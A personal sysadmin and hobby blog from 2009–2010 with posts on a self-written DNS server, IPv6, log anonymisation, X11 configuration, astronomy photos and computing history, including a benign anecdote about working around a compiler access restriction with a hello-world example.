The IPv6 addresses are statically set and are behind a firewall. I can see the dancing KAME turtle with IE8.


New VPS at Hub.org

November 22nd, 2009

I started turning my home computer (uranus) off at nights since the fans are pretty loud and it's right beside my bed. This meant that for the centroid.eu zone there was a single point of failure since centroid.eu has 2 nameservers one of them being uranus.

So then I looked for a cheap VPS one that also allows me to do the TTLPATCH testing on wildcarddnsd and I've found one at hub.org. The server which I call dione is located in Panama of all places, which is far enough for a good TTL balancing.


Random Hackepedia

November 22nd, 2009

This weeks RH is Perl.


My thumbprint

November 23rd, 2009

I made my thumbprint today on the scanner, it turned out pretty. Here it is. I cut it up with gimp a little changing the resolution only.


Disabling the GUI on Solaris 10

November 24th, 2009

Found this on the web.

To disabled dtlogin type command:

# /usr/dt/bin/dtconfig -d

To enable dtlogin type command:

# /usr/dt/bin/dtconfig -e


Random Hackepedia

November 27th, 2009

The RH for this week is BSD.



Random Hackepedia

December 4th, 2009

This weeks RH is P2P.


Google DNS

December 4th, 2009

Google made two DNS servers available. 8.8.8.8 and 8.8.4.4. With this they can read what you look up (in their logs), if you use these servers. I wouldn't use these servers other than for debugging perhaps, and I don't think Google knows what they're in for; if these nameservers catch on, I think google will be swamped with requests that it never considered. In the end people might see service interruptions if the Google nameservers cannot cope.

PS: this isn't about advertisement anymore either. Other than knowing where you POP3 your mail there is no revenue for Google with this service. Unless they smuggle a false answer into your DNS lookup request they can't mix any advertisements into it. However imagine they "hijack" your POP3 and send you to a POP3 server that contains email advertisements, just once a day. Ohh the revenue in that would be sweet for them, and it may go unnoticed.


Monitoring program

December 6th, 2009

I've written a small program that monitors google's nameservice. It is chrooted so that I can keep my nameservers on the server that runs it. Basically what it does is it looks up the address for pop3.solarscale.de and then compares what answer google gives. This will log if they give any different answer than what I know they should be given.

This may be a little like spy vs. spy. But we gotta keep track of goodness somehow. When I co-administrated cvsup.ca.freebsd.org there was someone who checked us as well, as the logs could tell.


New RFC: RFC 5694

December 8th, 2009

I updated my personal collection of RFC's yesterday. I did this with getting the rfc-index.txt file from ftp://ftp.isi.edu/in-notes, then I compared this file with what I had and the script looks something like this:

awk '/^[1-5]/ { print $1 }' rfc-index.txt |\
while read i; do FILE=rfc${i}.txt ; if [ ! -f $FILE ]; \
then ftp ftp://ftp.isi.edu/in-notes/$FILE ; fi; done
So then I read over the new RFC's that it pulled down for me. One was intruiging, it is called "Peer-to-Peer (P2P) Architecture" and is found in RFC 5694. From the abstract:
   In this document, we provide a survey of P2P (Peer-to-Peer) systems.
   The survey includes a definition and several taxonomies of P2P
   systems.  This survey also includes a description of which types of
   applications can be built with P2P technologies and examples of P2P
   applications that are currently in use on the Internet.  Finally, we
   discuss architectural trade-offs and provide guidelines for deciding
   whether or not a P2P architecture would be suitable to meet the
   requirements of a given application.
If this is something you like and want to read a bit you can download the rfc from ftp://ftp.isi.edu/in-notes/rfc5694.txt or look it up through http://rfc-editor.org.


Random Hackepedia

December 11th, 2009

For this week RH is Kernel .


Solstice approaching fast

December 12th, 2009

The Solstice is here in nine days (on the 21st). What is this? It's when the sun is at it's lowest point (at high noon) in the northern hemisphere, also called the winter solstice. Because our earth is tilted and the tilt in winter favours the southern hemisphere it is the summer solstice there.


Random Hackepedia

December 18th, 2009

This weeks RH is MAC.


Fibre Optics, the Olympic upgrade

December 22nd, 2009

I've been collecting stories about the telecommunications upgrades done because of the Olympic games. Here is what I've found.

The Olympics aren't about just sports anymore, telecommications benefit.


2009, a look back

December 23rd, 2009

I saw a lot of people already writing about this year so I'm going to sum up a few things that I did technically this year.

Jan 3rd, became user of sixxs.net, PJP4-SIXXS handle.

Jan 16th, first article of this blog, with a more technical side than before.

Feb 1st, first sixxs IPv6 tunnel to my static IP which I also obtained then.

May 21st, OpenBSD patch sent to OpenBSD, system/6149

Jun 8th, first initial commit of natally, natally.sourceforge.net.

Jun 9th, transfer of centroid.eu from intergenia to joker.com, who doesn't yet
support v6 glue to .eu domains.

Jun 14th, 30 day trial of QNX, nice that they have pf(4).

Nov 17th, purchase of vmware workstation 7.

Nov 17+  change from redhat linux to ubuntu on uranus.centroid.eu

Nov 17+  purchase of windows 7 HE.

And that was some of the highlights this year. Natally works for me somewhat today and there was a few bugfixes to wildcarddnsd as well. I also purchased 2 GB of RAM, 1 250 GB harddrive and 1 DVD drive, all not exceeding 180 euros. My grandmother also died this year leaving me with an inheritance of a bit of money, but not much. I may purchase a new computer in 2010.


Merry Christmas

December 24th, 2009

Today is Christmas eve and in the tradition of german people we open our presents tonight. Followed by dinner, I think we're having duck or something. Anyhow, thanks for being with me for the year and have a safe and happy holiday.


Random Hackepedia

January 1st, 2010

The RH for this week is DragonflyBSD.


New Project: cryologd

January 6th, 2010

For the last few days I've been hacking away at a new program. Well, three actually. It's called cryologd and can be found at sourceforge, here (don't worry I didn't style that page, sourceforge, did).

So what's it do? It encrypts log files and doesn't write the private key (needed for decryption) to disk. This is good if your filesystem is subject to snooping. It uses routines I wrote for natally (and improves on them) which is good because every project I write I do it to build on top of them.

Let me give you an example. cryologd and natally encrypt their communications. But at some ISP they don't encrypt and all their credit cards can be read through the wire. I can now get a job perhaps implementing the crypto at the ISP, it's easier on me because I've already written this. Anyhow I wish about the job, but you never know.


Congratulations Wikipedia

January 7th, 2010

On November 13th or so of last year I donated five euros to Wikipedia. Well the fundraiser is over. They raised over 8 million dollars from more than 230,000 doners. The average donation was about 35 dollars which I'll have to keep in mind for next years donation as someone picked up my tab so to speak. So, congratulations Wikipedia, you're the best!


Hackepedia, making hyperlinks

January 8th, 2010

I've written a script to cross reference more articles in my hackepedia backups. Here is the script, don't use it unless you understand it.

#!/bin/bash

cat /dev/null > list
for i in *.html; do
echo $i >> list
done

for i in *.html ; do
	echo working on file $i
	awk '
BEGIN { while (getline < "list") list[$0] = $0; }
{ for (i = 1; i <= NF; i++) { 
	for (j in list) {
		keyword=sprintf("%s.html", $i);
		if (keyword != ARGV[ARGC - 1] && j == keyword) {
			save = i;
			$i = sprintf("<a href=\"%s\">%s</a>", j, $save);
		} 
	}	
  }

  print;
}' $i > new/$i
done


Orion's belt led me to it

January 13th, 2010

An aqaintance in NYC made a picture of the star sky and I was dying to know what constellation it was he made a picture of. So after checking a few constellations it didn't match I left it. Today I took a look at my astronomy calendar and there was this constellation that I was looking for. It's called the Winter Triangle/Hexagon and has the stars Sirius and Aldebaran in it, my aqaintance only got half of it but I was able to reconstruct it with the gimp picture editor. Then I was able to match the Gemini constellation , that was real cool. Looking through the program Xephem, it pointed out that there was another star between Betelgeuse and Aldebaran called Bellatrix, see if you can make it out. It's visible. Also the star labelled Pollux is at the end of the line not the star immediately next to the label, that's Castor. Anyhow this is the original picture and this here is the edited picture.

PS: researching a bit further I found the centroid of the Winter Triangle called Monoceros constellation . According to William Herschel it is "one of the most beautiful sights in the heavens".

PSS: I was having so much fun, I mapped most of the star sky in the image, except of course Orions belt which should be straight forward. Here is another one with one frame deleted and the rest merged.


Random Hackepedia

January 15th, 2010

The RH for this week is Locate.


News (natally & proteus)

January 16th, 2010


Random Hackepedia

January 22nd, 2010

This weeks RH is mount.


Sun is no more

January 22nd, 2010

Well it's final. Oracle bought Sun Microsystems. Here is a picture that has been circulating:

I first became aware of Sun servers in 1995 when I used a shell account at Seneca College in Toronto which I was attending for Computer Engineering. The first time I had to administer a Sun box was in 1997 at an ISP that used an Ultra-2 for it's email operations. Sun and I had a love/hate relationship but over time my respect for Sun grew. Last year I was able to aquire Solaris 10 and so this shall be the first and last purchase I made from Sun.



Old code from the past

January 24th, 2010

When I write and commit C source code to sourceforge.net I try to include functions that I can reuse in the future. That's the sole reason it's at sourceforge. However I just found some old code written in early 2001 which I sent to Theo de Raadt and it was my implementation of a pflogd which didn't exist at the time. In the end it was Can Acar's code that made it into OpenBSD also called pflogd. I realize now that my code is pretty wack but I can still use some functions over again, for example the pcap code or postgresql code may be able to be copied to a new program. But it's not worth uploading this to sourceforge.

So you can download it and study it and see countless bugs (like I just saw) and you can try porting it to current OpenBSD because somewhere along the way this must have stopped working as it doesn't compile for me on 4.6 anymore. Have fun!


Hackepedia in German

January 26th, 2010

I'm working on translating the 150 documents that I have stored on solarscale.de into german. I have done 25 or so since yesterday and I want to slow the pace a little, I'm hoping to be done by march with this. Here is a sample.


24 Years of computing History

January 27th, 2010

I started using a computer when I got a Sinclair ZX-81 from a neighbour. That was the year 1986. The thing had no tape drive and I had to keep it on while I painfully copied BASIC out of a book to play a game. Anyhow today I have the amd64 that you see in the chart below at the bottom. I'm planning to get a new computer in June that will hopefully blow all previous accumulations of CPU or RAM away. It'll run several VM's and perhaps I'll even dedicate a core to seti@home again, we'll see.

year  , computer type       , Mhz     ,acc. Mhz , RAM        ,accumulated RAM
------------------------------------------------------------------------------
1986  , Sinclair ZX-81      , 1    Mhz, 1    Mhz, 4        KB,  4         KB
1988  , Commodore C-64      , 2    Mhz, 3    Mhz, 64       KB,  68        KB
1992  , IBM-PC 386-SX25     , 25   Mhz, 28   Mhz, 4096     KB,  4164      KB
1994  , IBM-PC 486-66DX2    , 66   Mhz, 94   Mhz, 8192     KB,  12356     KB
1996  , Intel Pentium 120   , 120  Mhz, 214  Mhz, 32767    KB,  45123     KB
1999  , Intel P-II-350      , 350  Mhz, 564  Mhz, 131072   KB,  176195    KB
1999  , Intel P-II-350      , 350  Mhz, 914  Mhz, 131072   KB,  307267    KB
2000  , AMD Athlon 1000     , 992  Mhz, 1906 Mhz, 262144   KB,  569411    KB
2001  , Apple G3 iBook      , 500  Mhz, 2406 Mhz, 131072   KB,  700483    KB
2001  , Apple G4 Cube       , 450  Mhz, 2856 Mhz, 131072   KB,  831555    KB
2003  , Intel Pentium 200   , 200  Mhz, 3056 Mhz, 65535    KB,  897090    KB
2005  , AMD Athlon64 3500+  , 2200 Mhz, 5256 Mhz, 4194304  KB,  5091394   KB
------------------------------------------------------------------------------
My Linux experience started in 1994 with the 486 as well. In 1995 I started putting FreeBSD on the machine though and stayed with BSD for a number of years before going back to Linux to run vmware (I still have BSD vm's!).

Oh I should blog about the fate of these computers. The sinclair broke, the commodore was sold, the sx25 was stolen, the 486 abandoned when I left Canada. One PII-350 was passed down to my brother, One PII-350 was abandoned, the AMD Athlon 1000 went to my brothers in-laws, The G3 iBook broke, the G4 is passed down to my parents (I'm writing on it right now) and the P200 had a tragic fall out a 3rd floor balcony. And I only have the amd64 left of all of these.


Random Hackepedia

January 30th, 2010

The RH for this week is Mutt.


The American Manned Space Program

February 4th, 2010

Well so much for the American Manned Space Program, of which I'm a big fan I must add. But let's review what happened in the last 10 years. 12 years. NASA built the International Space Station together with the Russians and other major contributors, starting in 1998. Then GW Bush announced the Moon to Mars program, probably because going to the moon was easier than going to mars. Then President Obama just recently cancelled the Moon-to-Mars program and what we're left with is a formidable space station in orbit and a space shuttle that's retiring at the end of this year (4 more flights).

So what has happened behind the scenes, elsewhere? Well we had the Spaceship One win the Ansari X-Prize and Virgin founded Virgin Galactic so that Spaceship Two can take passengers to a non-orbiting 5 minute view of the rim of space. Also scram-jet engines have been tested in Australia but I didn't find any conclusive evidence that they are building a scram-jet just yet. Also there is a company out in the US that proposes to shoot resources into orbit out of a cannon. They are promising cheaper launch rates than what the shuttle cost by a factor of 10 or so. Then there is the space elevator that everyone dreams of but the material isn't quite strong enough for it yet. And then there have been a number of private space companies that have launched payloads into orbit, these are fairly new.

Anyhow the president of the United States probably has more insight on what technologies are best and cheapest and makes his decision based on that. So perhaps one of these things appealed to him causing NASA to lose their manned space program. Obama must be convinced that there is a better way and we'll see in time what that may be, perhaps he thinks it's too soon to tell the world . Meanwhile I read somewhere, that Europe wants to go to the Moon by 2030 which is in 20 years time. But a lot can happen in just a decade. The original moon program of the US managed to land a man on the moon in 1969 in a decade of preparation with no experience on how to do so, but the cost was so tremendous that they had to give it up. So for this situation I can only look to myself when I was a boy and wanted something real bad. When I didn't get it, after a while I didn't want it anymore and I was glad I didn't make that decision. Perhaps this is what America faces today and they'll be glad they didn't go ahead with a moon program just yet. Time will tell.


Random Hackepedia

February 5th, 2010

The RH for this week is IPsec.

The german translations are coming along at a rate of about 2 a day, like I said it'll be March when it's somewhat finished.


Winter Star Sky

February 8th, 2010

Yesterday for the first time this year the cloudy sky went away and I was able to use my dads camera to make photos of the star sky.

Check out more processed photos here.


Random Hackepedia

February 13th, 2010

The RH for this week is FreeBSD.


Bruce Schneier has a new book out!

February 15th, 2010

Bruce Schneier has written a new book. I've already ordered this and it should be delivered by march 30th, it'll be released march 15th.


OpenSMTPD bug (DoS) fixed

February 17th, 2010

Yesterday I found this bug with Mouring on IRC. Basically if you have a very long string for an email address the smtpd will quit with a truncation error in lowercase(). Gilles Chehade put in this fix, revision 1.99 of lka.c, this morning (it should be noted it's Gilles fix, we only identified the bug and wrote to him). Everyone should update to this version or their smtpd will cease working when the DoS comes around that came around to Mouring.



The Internet Meltdown

February 18th, 2010

Yesterday I watched a Google Tech Talk on IPv6 and specifically what transition technologies exist today. The speaker basically thinks we'll have a meltdown near the end of 2011 but seemed very calm about it. I yahoo'ed for it and found this article as well. Over here I've got IPv6 connectivity but I'm wishing that my VPS would have it as well and I've asked about it repeatedly. Maybe by next year, I'm hoping, as being available in both IPv4 and IPv6 land is a must after we run out of addresses.


Random Hackepedia

February 19th, 2010

The RH for this week is Gingerale.


Modification to webserver

February 27th, 2010

Privacy just got a lot better when you visit this website. According to an article in the german magazine "C't magazin fÃr Computer technik" (2010 Edition 5, page 154), the storage of IP data is illegal. Specifically the correlation between IP and access time. So what I've done is patch my webserver (lighttpd) accordingly to throw out the last last 2 octets from the dotted quad. I can now roughly see which region you're from in my logs but not who exactly you were, I'm not interested in that anyhow but if someone wants my logs it won't give them much.

Here is the patch:

--- mod_accesslog.c..orig       2010-02-27 17:31:49.000000000 +0100
+++ mod_accesslog.c     2010-02-27 17:38:01.000000000 +0100
@@ -742,8 +742,12 @@
                        case FORMAT_REMOTE_HOST:
 
                                /* handle inet_ntop cache */
+                               {
+                                       sock_addr myaddr = con->dst_addr;
+                                       myaddr.ipv4.sin_addr.s_addr &= 0x0000fff
f;
 
-                               buffer_append_string(b, inet_ntop_cache_get_ip(s
rv, &(con->dst_addr)));
+                                       buffer_append_string(b, inet_ntop_cache_
get_ip(srv, &myaddr));
+                               }
 
                                break;
                        case FORMAT_REMOTE_IDENT:

A typical log looks like this then:

66.230.0.0 solarscale.de - [27/Feb/2010:17:46:46 +0100] "HEAD /public/rfc2516nc.
mp3 HTTP/1.1" 200 0 "http://www.deezer.com" "Mozilla/4.0 (compatible; MSIE 6.0; 
Windows NT 5.1; SV1; .NET CLR 1.1.4322)"

The other VPS I have in Panama I'm not going to do this patch because I'm unsure of what the legalities there are there. This should only affect the centroid.eu domain though and if you wish to read only from the german server use solarscale.de. Cheers!


Random Hackepedia

February 27th, 2010

The RH for this week is Integer.


The Hunter and his dog

February 27th, 2010

Yesterday I was able to see the starsky again. I took these pictures of Sirius and Orion through the trees.


Wildcarddns does global load balancing

March 2nd, 2010

Well I finally got around to wildcarddnsd again and trashed all stuff I wrote for it. That was yesterday. I was able to hack up some new stuff that uses a sort of firewall ruleset to determine where a nameserver comes from and then serve based on that information to which server the request should go. I got it running in beta (centroid.eu) watch closely.

The following is a ping from proteus (germany) to centroid.eu, the IP it gives is proteus itself (also germany).

pjp@proteus:~/blog> ping -c 1 centroid.eu
PING centroid.eu (62.75.160.180) 56(84) bytes of data.
64 bytes from proteus.solarscale.de (62.75.160.180): icmp_seq=1 ttl=64 time=0.06
3 ms

--- centroid.eu ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.063/0.063/0.063/0.000 ms

The next is a ping from dione (panama) to centroid.eu. The IP it gives is dione itself, similar to the above ping:

goldflipper% ping -c 1 centroid.eu
PING centroid.eu (200.46.208.61): 56 data bytes
64 bytes from 200.46.208.61: icmp_seq=0 ttl=64 time=0.027 ms

--- centroid.eu ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.027/0.027/0.027/0.000 ms

Now there has been a few ethical debates whether DNS should "lie" or not and I think in favour of loadbalancing it should lie and tell an IP that's closest to the client. This is still in beta and I'm watching it closely and then I'll merge it into HEAD.

PS: I've balanced it in such a way that IP's comeing from RIPE and APNIC go to the server in Germany, and ARIN and LACNIC go to the server in Panama. I haven't dealt with the other regions yet, they may get defaulted to LACNIC.


Downtime

March 4th, 2010

Today I woke up to proteus.solarscale.de not pinging anymore. The downtime was around 3.5 hours as the provider that I use did some repairs on the main server that proteus is a vm guest on. In that time I updated the DNS table for solarscale and added uranus.centroid.eu as a mailserver. It would have worked getting _some_ mail because the TTL on the zone is 86400 and I mainly just get mailing lists. Unfortunately it turns out that the OpenSMTPD that I use doesn't recognize aliases (bug) and returned mail with a 530 message. No mail was really lost as the remote mailservers attempt to deliver again but it was annoying. I sent gilles@ an email explaining the error message that I got, perhaps he can get a fix in before the OpenBSD 4.7 release.

PS: oh yeah proteus had an uptime of 410 days before this mishap.


Random Hackepedia

March 5th, 2010

The RH for this week is Sed.


DNS compression in a DNS question?

March 5th, 2010

How does that work? I have pretty well sandboxed my windows machine behind a firewall and I use wildcarddnsd to read off what hosts it tries to reach. Well..wildcarddnsd refused some questions because they had a DNS compression inside it, which doesn't make sense since it would create an endless loop IMO. Here is the dropped packet warning:

Mar  5 11:10:40 rosalind wildcarddnsd[30362]: question has compressed name, drop
Mar  5 11:10:40 rosalind wildcarddnsd[30362]: on descriptor 5 interface "127.0.0.1" malformed question from 172.16.0.10, drop
So I logged the packet with my firewall and ...
Mar 05 11:10:40.349416 rule 1/(match) [uid 0, pid 814] rdr in on vic1: 172.16.0.
10.62485 > 127.0.0.1.8053: [udp sum ok] udp 35 (ttl 255, id 329, len 63)
  0000: 4500 003f 0149 0000 ff11 8f49 ac10 000a  E..?.I..ÿ..I¬...
  0010: 7f00 0001 f415 1f75 002b 92a3 86e8 0100  ....ô..u.+.£.è..
  0020: 0001 0000 0000 0000 0264 7207 5f64 6e73  .........dr._dns
  0030: 2d73 6404 5f75 6470 01c4 0000 0c00 01    -sd._udp.Ä.....
on offset 0x39 it shows c4, definitely a dns compression the offset is 0x400 which seems bogus. I wonder if this is a bonjour packet intended to kill firewalls. Rather silly.


Wildcarddns at BETA_4

March 9th, 2010

Wildcarddnsd is now at BETA_4 tag. I've merged branch TTLPATCH to HEAD and tagged it. I also branched off BETA_4STABLE for errata and bug fixes between BETA_4 and BETA_5. I want to keep developing at HEAD from now on much like other open source projects, that's why I branch a stable branch because things could get broken between commits.

Here is a timeline of tags for Wildcarddnsd:

Of course wildcarddnsd carried a severe bug with it from initial commit to BETA_3. The bug was something like sending an NXDOMAIN to a RR that didn't exist. This had a negative impact on RR's of the same label on caching nameservers. In fact they were deleted in the caching nameservers. The fix was to send NOERROR, as a wildcarddnsd operator may have seen in the logs.

I'm looking for people who have an interest in DNS and have some C coding skills to help me with this project. The only other thing I require from them is some patience while I adjust to a group effort, which I have no experience in. Some things we need for this project is TCP support, EDNS0 support, DNSSEC support, AXFR (through cryptochannel) and perhaps Dynamic updates, also TXT support would be nice (very simple) and NS support for delegating zones to other nameservers (a bit harder).


Random Hackepedia

March 13th, 2010

The RH for this week is Termcap.


Happy Equinox

March 20th, 2010

It almost went by without me remembering. Happy Equinox! From Wikipedia:

An equinox occurs twice a year, when the tilt of the Earth's axis is 
inclined neither away from nor towards the Sun, the Sun being vertically 
above a point on the Equator...
In my own words it can also mean that the southpole is entering seasonal 24/7 darkness and the north pole is entering seasonal 24/7 light. The southern hemisphere is beginning autumn where the northern hemisphere is beginning spring.


Digital Camera

March 20th, 2010

My birthday was a few days ago and I got an Olympus X-925 Black camera from my parents. I never had a digital camera before and this one has 12 Mega Pixels! It's not a professional camera but the test photos I took turned out well. Perhaps I'll blog with some photos in the near future.

Here is a picture that I took of the sun with a welding filter before the lens. It didn't turn out great and I had to digitally remove all light and it's still bright which tells me the filter isn't all that great. But it's worth experimenting a little on what the cameras limits are.


OpenBSD 4.7 song pre-released

March 20th, 2010

Well OpenBSD has been pre-released. Pre-orders are being taken directly from the OpenBSD site or through OpenBSD Europe (which I did this time). The song was released to the public yesterday and can be heard here. I think the song is good, but it's not as geeky as the other ones IMO.

One thing about the song is the "I'm still here" which in my opinion is a take on the project leader who has been loyal to his project and hasn't gone off and made money elsewhere. I don't know how much he makes but I suspect the house is paid off and his salary is decent. It's nice that OpenBSD is still the way it was 10 years ago. People come and go though but the leader and focus is still the same.


Random Hackepedia

March 20th, 2010

The RH for this week is Windows.


Hackepedia changed its look

March 23rd, 2010

The image for hackepedia will change to this one as the old one is probably not relevant anymore.


Clear skies, no camera

March 24th, 2010

Well. We had clear skies tonight but I had no chance of making a picture of the southern sky. Also looking out I cannot make out the constellation Leo with the bare eyes. Too much LP (light pollution). However as you can see I have the Xephem program doing magical things. In the southern sky at 11PM tonight one should see Mars and Saturn as well as the Moon (further up). Xephem is really a great astronomy program.


WildcardDNSd, new features

March 27th, 2010

In the last 2 weeks or so Wildcarddnsd has gotten 2 major features. TXT RR support is one (which I did today) and NS delegations work now. Before they weren't working right. Also I extended the region support to IPv6 which was interesting.

Although these features are in HEAD I'm reluctant to CVS tag for BETA_5. It's too close still to the last BETA_4 tag. Perhaps in a month, I can consider this.


Random Hackepedia

March 27th, 2010

This weeks RH is Dsp.


Random Hackepedia

April 2nd, 2010

The RH for this week is netstat.



Nothing to report

April 9th, 2010

I don't like putting 2 hackepedias back to back. Oh yeah I relased beta_5 of wildcarddnsd and a patch to that on sourceforge, that's what I've been doing mainly these past few days.


Making X11 resolution work right with vmware guests (1920x1080)

April 15th, 2010

Generally I'm easy going. That means that when something is misconfigured, I don't care too much and find workarounds. For a while anyways. So to give you an example I had my new Kubuntu start up with a 800x600 screen under vmware and it didn't change resolution until I went into the system settings and clicked on the Display config, it then resized upon opening the program. Similarily in OpenBSD the resolution was 1024x768 or such so that there was "wings" of blackness on either side of my widescreen monitor.

All this I lived with for several month, but since I use OpenBSD as my main desktop it finally boiled down to me having to fix it. I googled. First hit had my answer. Someone said to use the program "gtf" to generate a Modeline for my monitor and stick it into the screen section. I tried that and it didn't work. They were wrong in that it was the "monitor" section it should have been put. Once I did that and having examined the /var/log/Xorg.0.log I noticed that my horizontal syncrate wasn't accepted. So I bumped it up to 90.0 and it finally worked. I want to share my Kubuntu /etc/X11/xorg.conf file with you, and very similar modifications also worked with OpenBSD, so here is:

Section "Device"
        Identifier      "Configured Video Device"
        Driver          "vmware"
EndSection

Section "Monitor"
        Identifier      "Configured Monitor"

        HorizSync       31.5 - 90.0
        VertRefresh     40 - 150

        # 1920x1080 @ 60.00 Hz (GTF) hsync: 67.08 kHz; pclk: 172.80 MHz
        Modeline "1920x1080_60.00"  172.80  1920 2040 2248 2576  1080 1081 1084 
1118  -HSync +Vsync

EndSection

Section "Screen"
        Identifier      "Default Screen"
        Monitor         "Configured Monitor"
        Device          "Configured Video Device"
        DefaultDepth    24

        Subsection "Display"
                Depth 24
                Modes "1920x1080_60.00"
                Viewport 0 0 
        EndSubsection
EndSection

Hope it can be useful for others. Oh yeah, if you're curious why I run both Kubuntu and OpenBSD as desktops it's this: When I require flash I switch to Kubuntu, otherwise I do everything in OpenBSD. Most of the google tech talks I watch are watched with Linux.


Random Hackepedia

April 16th, 2010

The RH for this week is GPG.


Airport Extreme JetDirect port has changed?

April 16th, 2010

I've been googling a bit now to find out why the port 9100 on my parents airport extreme didn't work for JetDirect printing. I've found this. Apparently the port changed on some firmware updates from 9100 to 9101. I'll give this a shot tomorrow when I visit, as Rendevous printing with an old 10.3.9 Mac Os X doesn't seem to work right on the setup that I got there.

Generally I'd portscan but nmap didn't compile on such an old version of Mac OS X.

Update: it's true it is on port 9101, although Mac OS X 10.3.9 doesn't have an option to configure the port right, I had to go into the cups webmanagement at localhost port 631 to make it work. Mac OS X 10.5.x (my dads macbook) worked with configuring the jetdirect port to 9101 in the apple config system.


Changed graphics on website

April 18th, 2010

If you frequently come here to read this blog you may have noticed that the graphics changed. I spontaneously did this today and I like it. The main graphic is a triangle with a star (the sun) in its centroid all in the european colours. The star has nine points with three points to every side of the triangle. I made two pictures, one with a black background and one with a white background. The picture is supposed to represent the union between solarscale.de and centroid.eu which have been the same website under the two different names for a while now.


Random Hackepedia

April 23rd, 2010

The RH for this week is Cryptsetup.


Playing with compression, fail.

April 25th, 2010

I made a small program that can compress a file on less space than gzip. It was fun writing it and under nominal conditions it performs very well. The reason this design didn't make it into our list of programs is because if the conditions aren't favourable and it hits an out of disk space problem then repairing itself is next to impossible. So it isn't used. But you can still study the failings of programs to understand why working programs work well.

Inside the program source code you'll see a typescript clip from the program working better than gzip, but add a bit more space in the sparsefiles in the filesystem it explodes badly.


Random Hackepedia

April 30th, 2010

The RH for this week is Traceroute.

BTW if you're interested in contributing to hackepedia it now allows people to edit without logging in.


Educating the me

April 30th, 2010

I've started attending a class for CSS (cascading style sheets). The main purpose is that I have a lot of HTML documents (including this blog) that could use a bit of style. I've already written a style sheet for this blog in a test environment and will be putting it up perhaps next week.


Learning from Hackers

May 7th, 2010

I was once a system administrator. One system I administered was BSD/OS and it had a "gcc" group in /etc/group. The other administrators thought it was a good idea to restrict gcc to a set of people who asked to have gcc access. One guy didn't ask and he exploited the fact that the "ld" and "as" commands were not in the gcc group. He created an assembly file possibly with FreeBSD and then copied that over and assembled and linked the possibly very compatible assembly file. I thought the guy was brilliant and I want to show you rudamentally what he did, watch.

romeo$ uname -a
FreeBSD romeo.solarscale.de 7.2-RELEASE FreeBSD 7.2-RELEASE #1: 
Wed May  5 21:28:23 CEST 2010     pjp@romeo.solarscale.de:/usr/
src/sys/i386/compile/ROMEO  i386
romeo$ cat -n hello.c
     1  #include <stdio.h>
     2
     3  int
     4  main(void)
     5  {
     6          printf("hello, world\n");
     7  }
romeo$ cc -S -o hello.s hello.c
juliet$ uname -a
NetBSD juliet.solarscale.de 5.0.1 NetBSD 5.0.1 (GENERIC) #0: 
Thu Jul 30 01:39:11 UTC 2009  builds@b8.netbsd.org:/home/bui
lds/ab/netbsd-5-0-1-RELEASE/i386/200907292356Z-obj/home/build
s/ab/netbsd-5-0-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386
juliet$ as -o hello.o hello.s
juliet$ ld -static -o hello /usr/lib/crt0.o hello.o -lc
/usr/lib/crt0.o: In function `___start':
: undefined reference to `_fini'
/usr/lib/crt0.o: In function `___start':
: undefined reference to `_init'
juliet$ ld -static -o hello /usr/lib/crt?.o hello.o -lc
juliet$ ./hello
hello, world
juliet$ 

Let that be a lesson to anyone. I sure learned from this guy.



The non-latin character domain names

May 10th, 2010

This was all over the news a few days ago. Basically Egypt, Saudi Arabia and UAE now have the TLD (top level domain) in their language now. The DNS system basically piggybacks a code (really punycode) representation of the unicode for these domains. It's still in ASCII downbelow, take a look:

countrypunycode equivalent
Egypt.XN--WGBH1C
Saudi Arabia.XN--MGBERP4A5D4AR
United Arab Emirates.XN--MGBAAM7A8H
source: IANA.ORG

So it's not a glitch in the sytem if you see something like domainname.xn--wgbh1c that's just egypt instead of it's previous domainname.eg.


My new computer: conceived

May 10th, 2010

On january 27th, I blogged about my 24 year old history with computers. I have now decided on a new computer and it'll take a considerable chunk of my savings. The computer is going to be built with upgradeability in mind, so that 3, 5, 7 years down the road I can upgrade it to what is decent then. Basically I'll be getting an Intel Core i7-930 with 8 GB of RAM (2x4GB DDR3 modules) and a 160 GB Intel SSD , BluRay burner and a wicked socket 1366 motherboard. Also I'll get a semi-decent graphics card with 1 GB of RAM. The store I got an estimate on priced it all at 1625 Euros, and since I have to get some other things like speakers I'm counting on paying around 1700+ euros.

This computer by no means is a top-of the line, but it's powerful nontheless and I think I can call it my own personal supercomputer. ;-)


Article in the BBC about IPv4 address exhaustion

May 11th, 2010

I think I've blogged about this before. The predicted date is September 9th, 2011 when all IPv4 addresses are given away. Here is the article. To quote the article...

Companies are being urged to get working with IPv6 now, to forestall any problems caused by the shortfall.


Added a bit of style (CSS)

May 13th, 2010

I've been attending 3 classes of learning how to use CSS (cascading style sheets) and I've learned a bit. These are the changes I've put in place after the first class and I like them. Notice the hovering on the right side that's new. Also if you went through this site a little you may have found the hackepedia backups which I've attempted to translate to german. That has a bit of style as well. Enjoy.

BTW have you noticed the changes on the english wikipedia as well?


OpenBSD 4.7 Install movie

May 13th, 2010

Like I usually do I make an install movie with vmware of the latest BSD. Here is OpenBSD 4.7:

Too be honest I attempted this movie 3 times. There is some things I noticed while making it. First if you specify the X server to start immediately it's sorta hard getting a config file since "Xorg -configure" won't work with a running server. Second vmware seems to slow down with every attempt at making the movie so it drags on, just fast forward the parts that are slow.


Dan, Rest In Peace.

May 21st, 2010

You were a true friend. I'm saddened by your death.

"I wonder what life 500 years from now will think looking back at this period of time, and what it is we take for granted as fact now that will be proven ignorant somewhere along the way. Cool. :)" - Dan Moschuk, August 2009.


Registered Goldflipper.NET

May 25th, 2010

I registered goldflipper.net which was way overdue. I had this name on my VPS in Panama for a while and never registered the domain name. Well I did now and it does provide some IPv6 glue that I never had before, which is grand.

   Server Name: GOLDFLIPPER.NET
   IP Address: 2001:A60:F000:99:0:0:0:2
   IP Address: 200.46.208.61
   Registrar: CSL COMPUTER SERVICE LANGENBACH GMBH D/B/A JOKER.COM
   Whois Server: whois.joker.com
   Referral URL: http://www.joker.com

Nothing really changes, the domain is served with wildcarddnsd and points to the VPS in Panama and the IPv6 is served from my DSL.


New Computer, New tasks

May 26th, 2010

